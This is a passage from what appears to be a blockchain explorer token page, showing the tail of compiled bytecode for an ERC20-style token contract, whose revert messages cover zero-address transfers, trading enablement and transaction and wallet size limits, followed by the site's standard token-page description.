604082019050919050565b5f6020820190508181035f8301526129ca81612991565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612a2b602583612171565b9150612a36826129d1565b604082019050919050565b5f6020820190508181035f830152612a5881612a1f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612ab9602383612171565b9150612ac482612a5f565b604082019050919050565b5f6020820190508181035f830152612ae681612aad565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612b47602983612171565b9150612b5282612aed565b604082019050919050565b5f6020820190508181035f830152612b7481612b3b565b9050919050565b7f54726164696e67206973206e6f7420656e61626c6564000000000000000000005f82015250565b5f612baf601683612171565b9150612bba82612b7b565b602082019050919050565b5f6020820190508181035f830152612bdc81612ba3565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612c17601983612171565b9150612c2282612be3565b602082019050919050565b5f6020820190508181035f830152612c4481612c0b565b9050919050565b5f612c5582612255565b9150612c6083612255565b9250828201905080821115612c7857612c77612436565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612cb2601a83612171565b9150612cbd82612c7e565b602082019050919050565b5f6020820190508181035f830152612cdf81612ca6565b9050919050565b5f612cf082612255565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d2257612d21612436565b5b600182019050919050565b5f612d3782612255565b9150612d4283612255565b9250828203905081811115612d5a57612d59612436565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612d94601b83612171565b9150612d9f82612d60565b602082019050919050565b5f6020820190508181035f830152612dc181612d88565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612e22602183612171565b9150612e2d82612dc8565b604082019050919050565b5f6020820190508181035f830152612e4f81612e16565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612ee28161221a565b82525050565b5f612ef38383612ed9565b60208301905092915050565b5f602082019050919050565b5f612f1582612eb0565b612f1f8185612eba565b9350612f2a83612eca565b805f5b83811015612f5a578151612f418882612ee8565b9750612f4c83612eff565b925050600181019050612f2d565b5085935050505092915050565b5f60a082019050612f7a5f8301886122f9565b612f87602083018761277d565b8181036040830152612f998186612f0b565b9050612fa860608301856123d0565b612fb560808301846122f9565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220841761dcb09eab4848dab59a03dcc5753c580f05480409acc0091f45f8c48c5164736f6c634300081a0033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.